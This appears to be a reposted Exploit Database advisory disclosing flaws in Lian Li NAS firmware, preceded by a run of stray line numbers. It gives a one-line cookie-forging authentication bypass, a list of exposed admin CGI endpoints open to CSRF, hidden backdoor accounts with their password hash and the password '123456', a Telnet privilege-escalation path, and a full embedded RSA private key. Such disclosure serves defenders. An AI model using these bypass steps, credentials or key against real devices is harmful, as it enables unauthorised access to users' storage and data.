Lian Li NAS – Multiple Vulnerabilities

Exploit Database
114 阅读

作者： pws

日期： 2014-07-24
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/34163/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

# Exploit Title: Lian Li NAS Multiple vulnerabilities

# Date: 21/07/2014

# Exploit Author: pws

# Vendor Homepage: http://www.lian-li.com/en/dt_portfolio_category/nas/

# Firmware Link: https://www.dropbox.com/s/imvkndl8m5yj7qp/G5S604121826700.tar.gz

# Tested on: Latest version

# CVE : None yet

1. Hardcoded cookie to access the admin section

File: /javascript/storlib.js

function get_cookie()

{

var allcookies = document.cookie;

var pos = allcookies.indexOf("LoginUser=admin");

if (pos == -1)

location = "/index.html";

}

2. Authentication bypass

Create such cookie: 'LoginUser=admin' (document.cookie='LoginUser=admin').

Then, access the URL directly to get admin features.

Eg.

http://192.168.1.1/cgi/telnet/telnet.cgi # enable/disable the Telnet server

http://192.168.1.1/cgi/user/user.cgi # manage users (change passwords, add user, ...)

Here are all the cgi's accessible (firmware: G5S604121826700) :

cgi/lan/lan.cgi

cgi/lan/lan_nasHandler.cgi

cgi/lan/lan_routerHandler.cgi

cgi/information/information.cgi

cgi/return/return.cgi

cgi/account/account.cgi

cgi/account/accountHandler.cgi

cgi/lang/lang.cgi

cgi/lang/langHandler.cgi

cgi/backup/clear.cgi

cgi/backup/fixed.cgi

cgi/backup/ipaddress.cgi

cgi/backup/listing.cgi

cgi/backup/s.cgi

cgi/backup/schedule.cgi

cgi/backup/source.cgi

cgi/backup/dd_schedule.cgi

cgi/backup/decide.cgi

cgi/backup/ipaddress1.cgi

cgi/backup/s1.cgi

cgi/backup/source1.cgi

cgi/backup/ipaddress2.cgi

cgi/backup/s2.cgi

cgi/backup/source2.cgi

cgi/backup/ipaddress3.cgi

cgi/backup/s3.cgi

cgi/backup/source3.cgi

cgi/backup/ipaddress5.cgi

cgi/backup/s5.cgi

cgi/backup/source5.cgi

cgi/backup/l.cgi

cgi/backup/listing1.cgi

cgi/backup/listing2.cgi

cgi/backup/listing3.cgi

cgi/backup/listing5.cgi

cgi/backup/email.cgi

cgi/backup/email1.cgi

cgi/backup/fixed1.cgi

cgi/backup/schedule1.cgi

cgi/backup/email2.cgi

cgi/backup/fixed2.cgi

cgi/backup/schedule2.cgi

cgi/backup/email3.cgi

cgi/backup/fixed3.cgi

cgi/backup/schedule3.cgi

cgi/backup/dd_schedule1.cgi

cgi/backup/dd_schedule2.cgi

cgi/backup/dd_schedule3.cgi

cgi/backup/dd_schedule5.cgi

cgi/backup/email5.cgi

cgi/backup/fixed5.cgi

cgi/backup/schedule5.cgi

cgi/backup/fixed6.cgi

cgi/backup/ipaddress6.cgi

cgi/backup/listing6.cgi

cgi/backup/s6.cgi

cgi/backup/email6.cgi

cgi/backup/schedule6.cgi

cgi/backup/source6.cgi

cgi/backup/dd_schedule6.cgi

cgi/backup/fixed4.cgi

cgi/backup/ipaddress4.cgi

cgi/backup/listing4.cgi

cgi/backup/s4.cgi

cgi/backup/email4.cgi

cgi/backup/schedule4.cgi

cgi/backup/source4.cgi

cgi/backup/dd_schedule4.cgi

cgi/backup/emessage.cgi

cgi/backup/emessage_fail.cgi

cgi/group/group.cgi

cgi/group/groupHandler.cgi

cgi/group/groupDeleteHandler.cgi

cgi/group/groupMembers.cgi

cgi/group/groupMembersHandler.cgi

cgi/user/user.cgi

cgi/user/userHandler.cgi

cgi/user/userDeleteHandler.cgi

cgi/user/userMembership.cgi

cgi/user/userMembershipHandler.cgi

cgi/time/time.cgi

cgi/time/timeHandler.cgi

cgi/power/power.cgi

cgi/power/powerHandler.cgi

cgi/factoryReset/factoryReset.cgi

cgi/factoryReset/factoryResetHandler.cgi

cgi/restoreConfig/restoreConfig.cgi

cgi/restoreConfig/restoreConfigHandler.cgi

cgi/saveConfig/saveConfig.cgi

cgi/saveConfig/saveConfigHandler.cgi

cgi/diskUsage/diskUsage.cgi

cgi/diskUsage/diskUsageuser.cgi

cgi/diskUsage/diskUsageHandler.cgi

cgi/diskUsage/diskUsageuserHandler.cgi

cgi/diskUtility/diskUtility.cgi

cgi/diskUtility/diskUtilityHandler.cgi

cgi/diskUtility/healthReport.cgi

cgi/dhcpserver/dhcpserver.cgi

cgi/dhcpserver/dhcpserverHandler.cgi

cgi/dhcpserver/dhcplease.cgi

cgi/dhcpserver/dhcpleaseHandler.cgi

cgi/dhcpserver/dhcpstatic.cgi

cgi/dhcpserver/dhcpstaticHandler.cgi

cgi/dhcpserver/staticipDeleteHandler.cgi

cgi/errorAlert/errorAlert.cgi

cgi/errorAlert/errorAlertHandler.cgi

cgi/share/share.cgi

cgi/share/shareHandler.cgi

cgi/share/shareDeleteHandler.cgi

cgi/share/share_nonLinux.cgi

cgi/share/share_nonLinuxHandler.cgi

cgi/share/share_Linux.cgi

cgi/share/share_LinuxHandler.cgi

cgi/fileServer/fileServer.cgi

cgi/fileServer/fileServerHandler.cgi

cgi/log_system/log_system.cgi

cgi/log_system/log_systemHandler.cgi

cgi/log_admin/log_admin.cgi

cgi/log_admin/log_adminHandler.cgi

cgi/log_dhcp/log_dhcp.cgi

cgi/log_dhcp/log_dhcpHandler.cgi

cgi/log_ftp/log_ftp.cgi

cgi/log_ftp/log_ftpHandler.cgi

cgi/log_samba/log_samba.cgi

cgi/log_samba/log_sambaHandler.cgi

cgi/printer/printer.cgi

cgi/printer/printerHandler.cgi

cgi/upgrade2/upgrade.cgi

cgi/upgrade2/upgradeHandler.cgi

cgi/wizard/wizard.cgi

cgi/wizard/language.cgi

cgi/wizard/languageHandler.cgi

cgi/wizard/password.cgi

cgi/wizard/passwordHandler.cgi

cgi/wizard/hostname.cgi

cgi/wizard/hostnameHandler.cgi

cgi/wizard/tcpip.cgi

cgi/wizard/tcpipHandler.cgi

cgi/wizard/time.cgi

cgi/wizard/timeHandler.cgi

cgi/wizard/confirm.cgi

cgi/wizard/confirmHandler.cgi

cgi/wizard/addUser.cgi

cgi/wizard/user.cgi

cgi/wizard/userHandler.cgi

cgi/wizard/userMembership.cgi

cgi/wizard/userMembershipHandler.cgi

cgi/wizard/userSharePermission.cgi

cgi/wizard/userSharePermissionHandler.cgi

cgi/wizard/addGroup.cgi

cgi/wizard/group.cgi

cgi/wizard/groupHandler.cgi

cgi/wizard/groupMembers.cgi

cgi/wizard/groupMembersHandler.cgi

cgi/wizard/groupSharePermission.cgi

cgi/wizard/groupSharePermissionHandler.cgi

cgi/wizard/addShare.cgi

cgi/wizard/share.cgi

cgi/wizard/shareHandler.cgi

cgi/wizard/sharePermission.cgi

cgi/wizard/sharePermissionHandler.cgi

cgi/wizard/nfsPermission.cgi

cgi/wizard/nfsPermissionHandler.cgi

cgi/wizard/button.cgi

cgi/telnet/telnet.cgi

cgi/telnet/telnetHandler.cgi

cgi/bonjour/bonjour.cgi

cgi/bonjour/bonjourHandler.cgi

cgi/raid/raid.cgi

cgi/raid/raidHandler.cgi

cgi/swupdate/swupdate.cgi

cgi/swupdate/swupdateHandler.cgi

cgi/swupdate/installHandler.cgi

cgi/swupdate/swlist.cgi

cgi/swupdate/swlistHandler.cgi

All forms on those cgi pages can be used to perform CSRF attacks (to target internal network for example).

3. Backdoored accounts

Some users are not referenced in the management page but are present in the system.

Moreover, the robustness of such passwords is really poor (password = "123456"):

mysql:$1$$RmyPVMlhpXjJj8iv4w.Ul.:6000:6000:Linux User,,,:/home/mysql:/bin/sh

daemon:$1$$RmyPVMlhpXjJj8iv4w.Ul.:7000:7000:Linux User,,,:/home/daemon:/bin/sh

4. Privilege escalation "scenario"

Enable Telnet server (if disabled)

Connect to it using one of the backdoored accounts and retrieve /etc/passwd file.

It contains passwords for all accounts.

5. Certificate used by the FTP server stored in the firmware

cacert.pem

subject=/C=AU/SOP=QLD/O=Mincom Pty. Ltd./OU=CS/CN=SSLeay demo server

issuer= /C=AU/SOP=QLD/O=Mincom Pty. Ltd./OU=CS/CN=CA

-----BEGIN X509 CERTIFICATE-----

MIIBgjCCASwCAQQwDQYJKoZIhvcNAQEEBQAwODELMAkGA1UEBhMCQVUxDDAKBgNV

BAgTA1FMRDEbMBkGA1UEAxMSU1NMZWF5L3JzYSB0ZXN0IENBMB4XDTk1MTAwOTIz

MzIwNVoXDTk4MDcwNTIzMzIwNVowYDELMAkGA1UEBhMCQVUxDDAKBgNVBAgTA1FM

RDEZMBcGA1UEChMQTWluY29tIFB0eS4gTHRkLjELMAkGA1UECxMCQ1MxGzAZBgNV

BAMTElNTTGVheSBkZW1vIHNlcnZlcjBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQC3

LCXcScWua0PFLkHBLm2VejqpA1F4RQ8q0VjRiPafjx/Z/aWH3ipdMVvuJGa/wFXb

/nDFLDlfWp+oCPwhBtVPAgMBAAEwDQYJKoZIhvcNAQEEBQADQQArNFsihWIjBzb0

DCsU0BvL2bvSwJrPEqFlkDq3F4M6EGutL9axEcANWgbbEdAvNJD1dmEmoWny27Pn

IMs6ZOZB

-----END X509 CERTIFICATE-----

server-cert.pem

Certificate:

Data:

Version: 3 (0x2)

Serial Number: 1 (0x1)

Signature Algorithm: sha1WithRSAEncryption

Issuer: C=TW, ST=Taipei, O=Storm, OU=software, CN=aaron/emailAddress=aaron@storlinksemi.com

Validity

Not Before: Jan3 00:46:50 2007 GMT

Not After : Jan3 00:46:50 2008 GMT

Subject: C=TW, ST=Taipei, L=Hsinchu, O=Storm, OU=software, CN=aaron/emailAddress=aaron@storlinksemi.com

Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit):

00:c4:1d:89:dc:9b:45:6c:96:e2:ad:e6:98:13:25:

64:b4:54:f6:e4:97:74:d5:9f:15:1e:1d:45:a1:75:

45:fc:3b:2b:9c:dd:e6:0d:34:4b:d7:6c:8d:d0:32:

5f:39:25:ab:53:81:de:84:17:cf:27:0a:c2:26:82:

9f:09:3f:a8:7e:8c:31:c3:fe:43:75:fe:1f:53:8e:

74:0e:31:d2:55:71:51:1b:7a:01:e3:57:4f:f7:d6:

9f:1d:39:19:42:3c:a1:bd:08:d1:99:69:fc:1c:34:

6e:0f:fb:a7:36:f5:77:bf:95:c8:1d:50:30:25:59:

23:39:d3:27:5a:06:0a:05:6d

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Basic Constraints:

CA:FALSE

Netscape Comment:

OpenSSL Generated Certificate

X509v3 Subject Key Identifier:

61:19:1F:04:38:83:83:E0:CD:6A:8C:CA:F9:9C:6E:D3:7F:C5:55:C3

X509v3 Authority Key Identifier:

keyid:F6:E9:49:A1:24:01:C1:0A:4C:7F:6A:E7:58:B8:95:BC:AF:95:B4:F7

DirName:/C=TW/ST=Taipei/O=Storm/OU=software/CN=aaron/emailAddress=aaron@storlinksemi.com

serial:00

Signature Algorithm: sha1WithRSAEncryption

5b:b7:dc:28:58:5e:53:c5:d7:88:be:71:21:43:b5:db:a1:d7:

fc:de:38:1d:38:e7:b3:a4:a5:64:92:1b:67:1b:c8:3e:0f:a9:

16:77:0c:0b:bf:e9:d2:b5:70:cd:05:71:df:1a:db:2a:c8:56:

5d:91:1c:ef:2b:16:b3:f0:55:89:ba:35:e4:ae:07:6c:4a:c5:

d0:0d:e3:1b:1d:5e:fd:01:b2:52:0e:fe:05:08:ed:40:26:e6:

b0:2b:24:2f:0d:42:11:f0:d9:b4:6d:db:ce:d1:b1:65:77:62:

7a:06:8b:09:c7:33:f3:43:13:a7:33:47:af:5c:6a:39:4e:8f:

64:5c

-----BEGIN CERTIFICATE-----

MIIDezCCAuSgAwIBAgIBATANBgkqhkiG9w0BAQUFADB4MQswCQYDVQQGEwJUVzEP

MA0GA1UECBMGVGFpcGVpMQ4wDAYDVQQKEwVTdG9ybTERMA8GA1UECxMIc29mdHdh

cmUxDjAMBgNVBAMTBWFhcm9uMSUwIwYJKoZIhvcNAQkBFhZhYXJvbkBzdG9ybGlu

a3NlbWkuY29tMB4XDTA3MDEwMzAwNDY1MFoXDTA4MDEwMzAwNDY1MFowgYoxCzAJ

BgNVBAYTAlRXMQ8wDQYDVQQIEwZUYWlwZWkxEDAOBgNVBAcTB0hzaW5jaHUxDjAM

BgNVBAoTBVN0b3JtMREwDwYDVQQLEwhzb2Z0d2FyZTEOMAwGA1UEAxMFYWFyb24x

JTAjBgkqhkiG9w0BCQEWFmFhcm9uQHN0b3JsaW5rc2VtaS5jb20wgZ8wDQYJKoZI

hvcNAQEBBQADgY0AMIGJAoGBAMQdidybRWyW4q3mmBMlZLRU9uSXdNWfFR4dRaF1

Rfw7K5zd5g00S9dsjdAyXzklq1OB3oQXzycKwiaCnwk/qH6MMcP+Q3X+H1OOdA4x

0lVxURt6AeNXT/fWnx05GUI8ob0I0Zlp/Bw0bg/7pzb1d7+VyB1QMCVZIznTJ1oG

CgVtAgMBAAGjggEAMIH9MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5T

U0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBRhGR8EOIOD4M1qjMr5

nG7Tf8VVwzCBogYDVR0jBIGaMIGXgBT26UmhJAHBCkx/audYuJW8r5W096F8pHow

eDELMAkGA1UEBhMCVFcxDzANBgNVBAgTBlRhaXBlaTEOMAwGA1UEChMFU3Rvcm0x

ETAPBgNVBAsTCHNvZnR3YXJlMQ4wDAYDVQQDEwVhYXJvbjElMCMGCSqGSIb3DQEJ

ARYWYWFyb25Ac3RvcmxpbmtzZW1pLmNvbYIBADANBgkqhkiG9w0BAQUFAAOBgQBb

t9woWF5TxdeIvnEhQ7Xbodf83jgdOOezpKVkkhtnG8g+D6kWdwwLv+nStXDNBXHf

GtsqyFZdkRzvKxaz8FWJujXkrgdsSsXQDeMbHV79AbJSDv4FCO1AJuawKyQvDUIR

8Nm0bdvO0bFld2J6BosJxzPzQxOnM0evXGo5To9kXA==

-----END CERTIFICATE-----

server-key.pem

-----BEGIN RSA PRIVATE KEY-----

MIICXQIBAAKBgQDEHYncm0VsluKt5pgTJWS0VPbkl3TVnxUeHUWhdUX8Oyuc3eYN

NEvXbI3QMl85JatTgd6EF88nCsImgp8JP6h+jDHD/kN1/h9TjnQOMdJVcVEbegHj

V0/31p8dORlCPKG9CNGZafwcNG4P+6c29Xe/lcgdUDAlWSM50ydaBgoFbQIDAQAB

AoGBAIKcZZd99aOXbcqBm+CMc+BCAdhGInKvK0JOHnSkhQKyaZ5kjnVW0ffb/Sqe

kZqewtav1IFG1hjbamh5b++Z7N2F+jshPnacdBXrgT4PPUfj3+ZirXlyckxJv3YT

Ql1bLsaCMne2b4sUuGsldROfiXfOR5SDUhbHocQj+mj8C/OlAkEA/4TfMZJqIkAx

W7uwPqX7c6k1XhLwC5tjEkyZA3jhgLMCDzw1RGxO65haVyKm//e4f1S7ctQ/v80j

Rret0A4cnwJBAMR8CqOpKI7W4Qao2aIYmL36a9VIFWoNunlmuSUW/KiBkAGhfGBn

+VG0uueM4PdOWl0i45SyZxTiYUjxE+BSlnMCQQDp611dB3osYvIM1dVydQevCgA2

YEXrilR3YzJNkHN5G+fNxMPLIRBa9H33+VxDRyhbQVndtNurnoQl8G+p4dFnAkA5

Ftl4iBPyvNiROMpTYNYwjOx8Af/G2spNr90nu7AZvdt7vdIHqO42IU8VLEfJU4jJ

+vMpJ1TwKn6d1P4zdYulAkB1FPvPcRmn1P69b2tDGEeoSNbh4s7eqV7AntDGeQhp

ppiLtY+nlj+Mjs2pHLa1bRAWcQRl/GYU4rdF6Py9F/w/

-----END RSA PRIVATE KEY-----